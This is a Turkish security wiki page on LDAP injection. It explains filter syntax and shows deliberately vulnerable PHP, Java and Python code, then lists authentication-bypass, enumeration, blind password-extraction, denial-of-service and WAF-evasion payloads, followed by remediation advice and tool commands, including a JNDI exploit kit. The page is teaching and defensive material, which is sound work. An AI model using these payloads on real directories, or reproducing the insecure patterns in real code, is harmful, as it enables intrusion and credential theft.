AltaySec Wiki LDAP Injection   ·   AltaySec Araştırmalar

LDAP Injection

root@altaysec:~# whoami
> Yazar: Kerem Vatansever

Lightweight Directory Access Protocol (LDAP), modern kurumsal ağlarda, özellikle kimlik ve erişim yönetimi (IAM), Tek Oturum Açma (SSO) mimarileri ve Active Directory (AD) entegrasyonlarında omurga görevi gören kritik bir protokoldür. TCP/IP veya UDP (genellikle 389/TCP şifresiz, 636/TCP SSL/TLS) üzerinden çalışan LDAP, kullanıcıları, grupları ve cihazları Dizin Bilgi Ağacı (Directory Information Tree - DIT) adı verilen hiyerarşik bir veritabanında (örneğin X.500 standardına dayanarak) saklar. Sunucu ve istemci arasındaki iletişim ağ katmanında ASN.1 (Abstract Syntax Notation One) ve BER (Basic Encoding Rules) kullanılarak serileştirilir.

LDAP Injection, tıpkı SQL Injection gibi, bir uygulamanın arka plandaki dizin sunucusuna (OpenLDAP, Microsoft Active Directory, Novell eDirectory) gönderdiği arama filtrelerini (RFC 4515) kullanıcı girdileriyle dinamik olarak ve sanitize etmeden oluşturması sonucu meydana gelir. LDAP filtreleri, ön ek (prefix/Polish) notasyonu kullanır. Bir saldırgan, LDAP kontrol karakterlerini ((, ), *, |, &, !) manipüle ederek, uygulamanın gönderdiği sorgunun Abstract Syntax Tree (AST) yapısını bozar ve arka plandaki LDAP ayrıştırıcısını (parser) kendi belirlediği mantıksal operatörleri çalıştırmaya zorlar. Bu durum, kimlik doğrulama mekanizmalarının aşılmasına, hassas kurumsal verilerin sızdırılmasına, yetki yükseltmeye ve bazen RCE'ye giden zincirleme zafiyetlere zemin hazırlar.

How It Works (Teknik Analiz)

LDAP sorguları, nesneleri (objects) ve öznitelikleri (attributes) bulmak için filtreler kullanır. Sorgu yapısı RFC 4515 standartlarına göre şekillenir ve kök dizinden (Base DN) başlar. Mantıksal yapı gereği, birleştirme operatörleri (&, |, !) ifadenin en başında yer alır. Örneğin: (&(kullanici_adi=admin)(sifre=12345))

Zafiyetin kök nedeni (Root Cause), kullanıcıdan alınan metin tabanlı verilerin bu mantıksal blokların içine doğrudan string birleştirme (concatenation) yöntemleriyle yerleştirilmesidir.

Memory ve AST (Abstract Syntax Tree) Düzeyinde Ne Olur? Normal şartlarda LDAP istemcisi, sunucuya gönderilmek üzere bir filtre ağacı oluşturur. Uygulama (&(uid=INPUT)(userPassword=INPUT2)) gibi bir filtre yazdığında, INPUT alanına admin)(|(uid=* yazıldığında filtre şu hale gelir:

(&(uid=admin)(|(uid=*)(userPassword=INPUT2)))

Burada saldırgan, fazladan bir parantez kapatarak ) ilk mantıksal koşulu erken bitirmiş ve AST'ye yeni bir düğüm (| - OR node) eklemiştir. Farklı LDAP motorlarının hatalı AST'leri yorumlama biçimleri farklılık gösterir:

Vulnerable Code Patterns

Aşağıda farklı dillerde LDAP enjeksiyonuna neden olan güvensiz kod geliştirme kalıpları (anti-patterns) verilmiştir.

// PHP - Güvensiz ldap_search Kullanımı
$user = $_POST['username'];
$pass = $_POST['password'];

$ds = ldap_connect("ldap.example.com");
ldap_bind($ds, "cn=admin,dc=example,dc=com", "admin_pass");

// KÖK NEDEN: Kullanıcı girdisi doğrudan string'e dahil ediliyor.
$filter = "(&(uid=" . $user . ")(userPassword=" . $pass . "))";

// Eğer $user = "*)(uid=*))(|(uid=*" verilirse, filter şu olur:
// (&(uid=*)(uid=*))(|(uid=*)(userPassword=...)) -> True döner!
$search = ldap_search($ds, "ou=users,dc=example,dc=com", $filter);
$info = ldap_get_entries($ds, $search);
// Java (JNDI) - Güvensiz DirContext.search Kullanımı
import javax.naming.directory.*;

String userInput = request.getParameter("username");
String passInput = request.getParameter("password");

DirContext ctx = new InitialDirContext(env);

// KÖK NEDEN: String formatı ile birleştirme yapılıyor. Kaçış (escaping) mekanizması yok.
String filter = "(&(cn=" + userInput + ")(userPassword=" + passInput + "))";

SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);

// Saldırgan userInput için "admin)(|(objectClass=*" girerse, 
// şifre doğrulaması tamamen baypas edilir.
NamingEnumeration<SearchResult> results = ctx.search("ou=users,dc=example,dc=com", filter, controls);
// Python (ldap3 kütüphanesi) - Güvensiz Filtre Oluşturma
from ldap3 import Server, Connection, ALL

def authenticate(username, password):
    server = Server('ldap://example.com', get_info=ALL)
    conn = Connection(server, user='cn=admin,dc=example,dc=com', password='password')
    conn.bind()
    
    # Zafiyetli blok: f-string kullanılarak doğrudan enjeksiyona olanak tanınıyor.
    search_filter = f'(&(uid={username})(userPassword={password}))'
    
    # Eğer username = "*)(uid=*))(|(uid=*" olursa AST bozulur ve ilk eşleşen objeyle bind sağlanır.
    conn.search('ou=users,dc=example,dc=com', search_filter, attributes=['cn', 'mail'])

Detection & Enumeration (Keşif ve Analiz)

Bir web veya masaüstü uygulamasının arka planda LDAP kullanıp kullanmadığını ve girdilere karşı savunmasız olup olmadığını belirlemek için uygulamanın girdiye verdiği tepkiler (Error-based, Time-based, Boolean-based) analiz edilir.

Manuel Keşif Adımları:

  1. Özel Karakter Fuzzing: Login formlarına, arama kutularına veya HTTP header'larına LDAP metakarakterleri (*, (, ), \, &, |, =) gönderilir.
  2. Error-Based Analiz: Dengesiz parantezler (örn: admin)) girildiğinde uygulama LDAP Query Failed: Invalid search filter, NamingException, javax.naming.directory.InvalidSearchFilterException veya 500 Internal Server Error dönüyorsa zafiyet kuvvetle muhtemeldir.
  3. Boolean-Based (Fark Analizi): Geçerli bir kullanıcının arasına wildcard konulur (örn: ad*min). Eğer login veya sonuç başarılı dönüyorsa backend LDAP arama filtresini olduğu gibi işliyordur.

Fuzzing Payloadları (Keşif İçin):

*
*)*
)(
*()|&'
*)(&(objectClass=*)
)(|(&

Attack Vectors & Exploitation (İstismar Vektörleri)

LDAP Injection, uygulamanın amacına (kimlik doğrulama, arama, yetki kontrolü) ve sonucun dönüp dönmemesine (In-Band veya Blind) göre çeşitli alt vektörlere ayrılır.

Authentication Bypass

Oturum açma formlarında arka planda genellikle şu sorgu çalışır: (&(uid=USER_INPUT)(userPassword=PASS_INPUT)) Eğer saldırgan kullanıcı adı veya şifre kısmına uygun metakarakterleri enjekte ederse, userPassword kontrolünü mantıksal olarak devre dışı bırakabilir.

Privilege Escalation (Yetki Yükseltme)

Uygulama, kullanıcının erişmeye çalıştığı nesneyle kullanıcının yetkisini bir LDAP filtresi ile sınırlıyorsa, bu kontrol de baypas edilebilir. Örneğin, sistem bir belgeye erişimi kısıtlamak için şu sorguyu kullanıyor: (&(directory=documents)(security_level=low))

Kullanıcı "documents" yerine documents)(security_level=*))(&(directory=documents verisini gönderdiğinde:

In-Band Information Disclosure

Eğer uygulama LDAP sorgusunun sonucunu ekrana yansıtıyorsa (örneğin bir personel rehberi veya ağ yazıcıları listesi), saldırgan filtre manipülasyonu ile normalde gizli olan öznitelikleri (şifre hashleri, e-posta adresleri, yöneticiler vb.) döndürebilir. Örneğin bir yazıcı arama sorgusu: (|(type=printer)(type=scanner))

Blind LDAP Injection (AND-Based)

Sunucu hataları veya doğrudan arama sonuçları ekrana yansımıyor, ancak enjekte edilen filtrenin sonucuna göre sayfanın içeriği değişiyorsa (örn: Geçerli ikon vs. Geçersiz hata mesajı), saldırgan verileri karakter karakter sızdırmak için Blind (Kör) LDAP enjeksiyonu kullanır.

Sorgu: (&(objectClass=printer)(type=INPUT))

Blind LDAP Injection (OR-Based)

Mantığın OR (|) üzerine kurulduğu ortamlarda, False koşulu oluşturularak testler yapılır. Sorgu: (|(type=INPUT)(type=Scanner))

Attribute Discovery & Booleanization

Blind LDAP Injection kullanarak spesifik özniteliklerin (örneğin userPassword veya description) içeriği tahmin edilebilir. Bu aşamada vahşi karakter (*) kullanılarak "Charset Reduction" tekniği uygulanır.

Payloads & Advanced Commands

Aşağıdaki payloadlar, kimlik doğrulama bypass, keşif ve exfiltration (veri sızdırma) operasyonlarında farklı mimarilere göre denenmelidir.

Authentication Bypass Payloads

*
*)(&
*))%00
*)(uid=*))(|(uid=*
*)(&(objectClass=*)
*)(&(objectClass=user)
admin)(&)
admin)(|(&(1=1))
admin)(|(1=1))
admin)(!(!(1=1)))
admin))(&(1=0
admin)(|(uid=*))

Advanced Exploration Payloads (In-Band)

*)(objectClass=*
*)(objectCategory=*
*)(uid=*
*)(samaccountname=*
*)(cn=*
*)(mail=*
*)(userPassword=*
*)(memberOf=cn=admin,ou=groups,dc=example,dc=com

Blind Extraction Payloads

// Dizin nesnelerinin varlığını test etme
*)(objectClass=person
*)(objectClass=inetOrgPerson
*)(objectClass=user
*)(objectClass=computer
*)(objectClass=group

// Admin grubunun varlığını test etme
*)(cn=admin*)
*)(cn=Domain Admins*)

// Parola/Hash boyutlarını veya varlığını test etme (Karakter sızdırma adımları)
admin)(userPassword=*)
admin)(userPassword=a*)
admin)(userPassword=b*)
admin)(userPassword=0*)
admin)(userPassword={MD5}*)
admin)(userPassword={SHA}*)

Time-Based / Resource Exhaustion Payloads

Eğer hedef devasa bir Active Directory yapısıysa ve boolean dönüş vermiyorsa, Wildcard fırtınası (Wildcard Storm) ile sunucuyu yavaşlatarak (DoS/Time-based) TRUE/FALSE tespiti yapılabilir.

// Karmaşık iç içe sorgular göndererek işlemciyi yormak
*)(|(objectClass=*)(objectClass=*))(uid=*
*)(|(*=*)(*=*)(*=*))
(&(|(*=*)(*=*)(*=*))(|(*=*)(*=*)(*=*)))

Bypass & Obfuscation (Atlatma Teknikleri)

Gelişmiş WAF (Web Application Firewall) veya temel filtreleme mekanizmalarını (Regex, IPS/IDS) atlatmak için çeşitli encoding ve obfuscation teknikleri kullanılır.

Null Byte Injection

C veya PHP alt yapılı eski nesil LDAP istemcilerinde, dizeyi bellekte (memory) sonlandırmak için \00 veya %00 kullanılır.

admin)%00
admin)(|(%00

Hex/URL Encoding

RFC 4515 standardına göre LDAP filtrelerinde meta karakterler backslash (\) ve ardından gelen 2 haneli HEX değeri ile escape edilir. WAF'ları aşmak için bu standart encode tekniği saldırgan lehine dönüştürülebilir.

Obfuscated Payloads:

// Normal: admin)(uid=*
// Encoded (Sadece parantezler ve yıldız):
admin\29\28uid=\2a

// Tamamen Hex (Bazı LDAP backendleri otomatik çözümleyebilir):
\61\64\6d\69\6e\29\28\75\69\64\3d\2a

Double Encoding ve Line Feed

WAF kurallarını aşmak için URL encoding ile LDAP encoding birleştirilebilir veya kontrol karakterlerinin arasına boşluklar/CRLF karakterleri gizlenebilir (Parser dependent).

%2A%29%28uid%3D%2A

Remediation & Prevention (Önleme ve Savunma)

LDAP Injection zafiyetlerini kalıcı olarak önlemek, sistemin temel mimarisini güvenli kodlama ilkelerine göre revize etmeyi gerektirir. Sadece WAF veya IPS gibi ağ katmanı çözümleri yeterli değildir.

  1. Giriş Doğrulama (Input Validation / Whitelisting): Tüm kullanıcı girdileri, uygulamanın iş mantığına göre önceden tanımlanmış bir "izin verilen karakterler" (whitelist) listesinden geçirilmelidir. Örneğin, bir username parametresi sadece ^[a-zA-Z0-9_.-]+$ regex modeline uygun olmalıdır.
  2. Parametreli Sorgular (Parameterized Queries): SQL enjeksiyonunda olduğu gibi, LDAP sorguları da parametreli arayüzler (Prepared Statements) ile oluşturulmalıdır.
  3. Güvenli Encoding (RFC 4515 ve RFC 2253): Kullanıcı girdileri birleştirilmeden (concatenate) önce, güvenli LDAP kodlama fonksiyonlarından geçirilmelidir. OWASP ESAPI Encoder, .NET Encoder.LdapFilterEncode vb. kütüphaneler kullanılmalıdır.
    • Filtre metakarakterleri (*, (, ), \, NUL) RFC 4515'e göre \XX şeklinde encode edilmelidir.
    • DN (Distinguished Name) metakarakterleri (,, +, ", \, <, >, ;) RFC 2253'e göre kaçış karakteri (\) eklenerek encode edilmelidir.
  4. En Az Ayrıcalık İlkesi (Principle of Least Privilege - PoLP): Uygulamanın LDAP dizinine bağlanmak (Bind) için kullandığı servis hesabı, yalnızca kendi işlevini yerine getirebilecek minimum yetkilere sahip olmalıdır. Domain Admin yetkileri kesinlikle kullanılmamalıdır.
  5. Kimlik Doğrulaması (Bind Authentication): Anonim (Anonymous Bind) veya kimlik doğrulaması yapılmamış bağlantılar (Unauthenticated Bind) LDAP sunucusunda devre dışı bırakılmalıdır.

Secure Code Example (Java)

Aşağıda güvensiz string birleştirme yerine, argümanları güvenli bir şekilde işleyen (parametrelendirilmiş) doğru C# / Java tarzı SearchControls ve güvenli filtre mimarisi gösterilmektedir.

// Güvenli Kullanım: Girdiler bir parametre dizisi olarak aktarılır. String format/concat YAPILMAZ.
String userInput = request.getParameter("username");

DirContext ctx = new InitialDirContext(env);

// Filtre parametrelendirilmiş {0} işareti ile oluşturulur.
String filter = "(&(uid={0})(objectClass=person))";
SearchControls controls = new SearchControls();

// Kullanıcı girdisi Object dizisi ile API'ye bırakılır, API otomatik sanitize eder.
NamingEnumeration<SearchResult> results = ctx.search("ou=users,dc=example,dc=com", filter, new Object[]{ userInput }, controls);

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Nmap LDAP servis keşfi, null bind kontrolü ve bilgi sızdırma taramaları. nmap -n -sV --script "ldap* and not brute" -p 389,636 <IP>
ldapsearch Command-line aracı ile manuel sorgu testleri ve veri çıkarma işlemleri. ldapsearch -x -H ldap://<IP> -b "dc=example,dc=com" "(&(objectClass=*))"
JNDI-Exploit-Kit Java tabanlı gelişmiş LDAP/JNDI payload oluşturma ve istismar aracı (RCE yolları için). java -jar JNDI-Exploit-Kit-1.0.jar -C "touch /tmp/pwned"
Burp Suite (Intruder) Web tabanlı LDAP enjeksiyon noktalarında otomatik Fuzzing ve Blind karakter sızdırma. admin)(userPassword=§a§*)
LDAPMiner Otomatikleştirilmiş LDAP injection açığı tarayıcısı ve sömürü aracı. python ldapminer.py -u http://target.com/login -p username -P password

Yazar: Kerem Vatansever · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv